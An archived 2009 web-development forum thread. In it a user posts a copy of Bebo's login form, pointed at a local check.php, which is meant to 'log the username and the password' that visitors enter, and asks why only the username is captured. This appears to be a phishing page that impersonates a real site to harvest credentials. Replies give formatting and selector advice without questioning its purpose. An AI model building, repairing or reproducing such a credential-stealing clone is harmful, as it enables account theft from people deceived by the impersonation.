mottlee Posted October 15, 2009 Share Posted October 15, 2009 When running the script on website it doesn't copy both input boxes, Only the user and not the password, Any help would be great.. Heres the code, It's suppose to log the username and the password, but only the username comes up :| <!-- Begin Login Form --> <div id="login-box"> <a href="http://bebo.com/LostPassword.jsp" class="lost-password">Lost Password</a> <h2>Login</h2> <form id="login-form" action="check.php" method="post"> <table width="100%" border="0" cellpadding="0" cellspacing="0"> <tbody> <tr> <td><input type="text" id="username" name="EmailUsername" value="Email or Username" class="field" /></td> <td> <input type="text" id="passwordHolder" name="PasswordHolder" value="Password" class="field" /> <input type="password" id="password" name="Password" value="" class="field" style="display:none;" /> </td> </tr> <tr> <td colspan="2" id="remember-field"> <input type="image" id="login-button" src="http://s.bebo.com/img/page/login-btn.png" alt="Login" name="SignIn" value="Sign In" /> <input type="checkbox" id="RememberMe" name="RememberMe" value="Y" /> <label for="RememberMe">Automagically for 2 weeks</label> </td> </tr> </tbody> </table> </form> <!-- form label/focus script --> <script language="javascript"> if($defined($('username'))) { //not logged in emptyUsernameText = $('username').value; $('username').addEvent('focus', function(event) { if(emptyUsernameText==this.value) this.value = ""; }); $('username').addEvent('blur', function(event) { if(this.value.trim()=="") this.value = emptyUsernameText; }); $('passwordHolder').addEvent('focus',function(event) { this.setStyle('display','none'); $('password').setStyle('display','inline'); $('password').focus(); }); $('password').addEvent('blur',function(event) { if(this.value.trim() == "") { this.setStyle('display','none'); $('passwordHolder').setStyle('display','inline'); } }); } </script> <div id="login-links"> <span id="more-info"></span> <span id="sign-up"><a href="http://bebo.com/InviteJoin.jsp?Member=N">SIGN UP</a></span> </div> </div> <!-- End Login Form --> Link to comment https://forums.phpfreaks.com/topic/177770-php-logging-error/ Share on other sites More sharing options...
TheJoey Posted October 15, 2009 Share Posted October 15, 2009 try putting the code in some CODE tags. makes it easier to read Link to comment https://forums.phpfreaks.com/topic/177770-php-logging-error/#findComment-937374 Share on other sites More sharing options...
GKWelding Posted October 15, 2009 Share Posted October 15, 2009 Also, try just not posting then entire code, especially when it's unformatted and none specific, you're not going to get an answer to thsi question like this. Link to comment https://forums.phpfreaks.com/topic/177770-php-logging-error/#findComment-937375 Share on other sites More sharing options...
mottlee Posted October 15, 2009 Author Share Posted October 15, 2009 bump Link to comment https://forums.phpfreaks.com/topic/177770-php-logging-error/#findComment-937488 Share on other sites More sharing options...
mottlee Posted October 16, 2009 Author Share Posted October 16, 2009 bump Link to comment https://forums.phpfreaks.com/topic/177770-php-logging-error/#findComment-937825 Share on other sites More sharing options...
GKWelding Posted October 16, 2009 Share Posted October 16, 2009 I honestly don't knwo what your scripts tryign to do, but a good place to start would be getting your jQuery right. $('username') is wrong. If you're trying to find an input box with the name attribute of username your should be doing this $("input[name=username]") or $("[name=username]"). Same for password etc... Link to comment https://forums.phpfreaks.com/topic/177770-php-logging-error/#findComment-937987 Share on other sites More sharing options...
Recommended Posts
Archived
This topic is now archived and is closed to further replies.